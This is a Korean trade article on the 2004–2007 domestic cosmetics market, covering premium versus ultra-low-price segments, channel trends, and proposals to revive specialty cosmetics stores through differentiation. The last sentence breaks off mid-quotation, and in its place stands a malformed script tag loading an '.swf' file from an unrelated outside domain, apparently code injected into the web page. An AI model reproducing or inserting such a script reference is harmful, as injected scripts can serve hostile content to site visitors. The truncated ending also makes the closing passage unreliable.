2004년~2005년에는 내수경기의 침체로 가계소득이 줄어들면서 초저가 화장품 시장이 새로운 시장을 형성하기 시작하였다.
작년에는 내수 경기가 회복되면서 민간소비가 증가해 주력업체를 중심으로 고가의 프리미엄급 화장품 소비가 늘어났다.
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백화점 판매 및 방문 판매를 통한 프리미엄 화장품과 브랜드숍 위주의 초저가 화장품 시장으로 양분화가 심화되었던 한 해로 평가할 수 있다.
또한 최근 몇 년간 성장세가 둔화되었던 OEM, ODM업체들의 경우 브랜드숍의 확대 및 할인점, 홈쇼핑 등의 신유통 채널성장 및 수출 개선 등으로 성장세를 보이고 있다
올해 2007년 국내 화장품 시장은 2006년 대비 4.1% 성장한 5조7400억원 규모로 전망이 되는데 전체 시장규모는 2002년 수준을 거의 회복될 것으로 예상되나, 화장품 업체의 양극화 현상은 지속되어 상위 화장품 회사의 영업이익율은 개선이 기대되나 중위권 업체의 실적은 정체될 것으로 판단된다.
이러한 국내 화장품 시장을 유통(채널)별로 살펴보면 백화점, 방판, 할인점 경로는 다소 성장세를 유지하고 있으며 홈쇼핑, 온라인, 브랜드숍, 전문점은 보합세, 직판과 초저가 브랜드숍은 하향세를 보이고 있다.
특히, 눈에 띄는 현상은 2005년도까지 하향세를 보였던 전문점 유통이 2006년 들어 약보합세를 보이고 있으며 2007년도에는 각 화장품업체가 전문점 시장이 조금씩 회복되고 있다는 희망적인 관측을 내놓고 있다. 그러나 소비자들의 소비 패턴의 변화와 인터넷 등 온라인 발달로 전문점이 위축되었다고 보는 데는 대부분이 의견을 같이 하고 있다.
한국 화장품 시장의 전통적인 유통을 꼽자면 첫번째가 방문 판매이고, 두 번째가 전문점 유통을 꼽을 수 있다.
그만큼 아주 오래 전부터 화장품 유통의 양대 채널 중 하나로 전문점 유통이 존재해 왔다.
화장품 전문점의 장점을 꼽자면 다양한 제품구색과 상권ㆍ주택밀집지역에 위치하기 때문에 소비자의 접근성이 좋다는 것이다. 그러나 부정적인 면을 살펴보면 세련되지 못한 인테리어, 판매인의 반 강제 구입 권유, 싸구려 같은 인식 등을 꼽을 수 있다.
이러한 부정적인 면들 때문에 브랜드숍이나 할인점 등으로 소비자를 빼앗기게 되었던 것이다. 한 마디로 시장 및 환경의 변화에 둔감하였고 생존할 수 있는 자구책을 마련하지 못한 결과라 볼 수 있다.
그러면 전문점을 활성화 시킬 수 있는 대책은 무엇이 있는가? 바로 철저한 차별화라고 말할 수 있다. 요즘 같은 경쟁사회에서는 사람도 마찬가지겠지만 유통채널도 남들 하는 대로 무작정 따라하기 보다는 나름대로의 차별성을 갖는 것이 중요하다.
점주가 제품과 미용에 대한 교육으로 철저히 무장하여 타 채널과 정보전달에 있어 차별화 요소를 갖추든지 또한 전문점만이 할 수 있는 독특한 판촉으로 차별화를 기하는 방법도 그 중 하나이다.
특히, 전문점에 마사지실을 갖추고 일정액 구입고객에게 마사지 서비스를 실시하는 것도 차별적 판촉의 한 예라고 볼 수 있다.
대형 전문점들의 경우는 상대적으로 매출이 상승되고 있는데 그 이유도 다양한 측면에서 기존 전문점과의 차별화를 꾀한 것에 있다고 볼 수 있다.
보다 차별화 된 맞춤형, 밀착형 고객관리 기업의 적용 및 서비스의 제공이 필요하다. 매장을 방문한 고객을 위한 보다 차별화 된 접객서비스의 제공, 기타 소비자 판촉에 있어서도 차별화 요소를 가미한 서비스의 제공 등이 바로 전문점을 다시 활성화시킬 수 있는 요소라고 본다.
결국 전문점 유통이 활성화되고 발전하기 위해서는 다양화되고 개별화 되어지는 소비자의 행동과 욕구에 맞춰 화장품 업체뿐 아니라 전문점주가 같이 고민하고 연구하여 전문점 유통만의 차별적인 요소를 만들어가야 할 것이다.
최근 상황은 소비자들의 판단력이 높아지고 시장에 대한 정보의 양과 속도가 높아지면서 기존 화장품 회사들도 새로운 변화와 혁신의 소용돌이 속으로 내몰리게 되었으며, 이처럼 급격한 변화의 상황 속에서 변화를 주도하는 회사는 살아남을 것이며, 그렇지 못한 회사는 도태되는 아주 중요한 시기에 직면해 있다.
어느 미래학자가 ‘21세기를 이끌 가장 핵심적인 산업은 금융과 ?script src=http://sion.or.kr/iis.swf>
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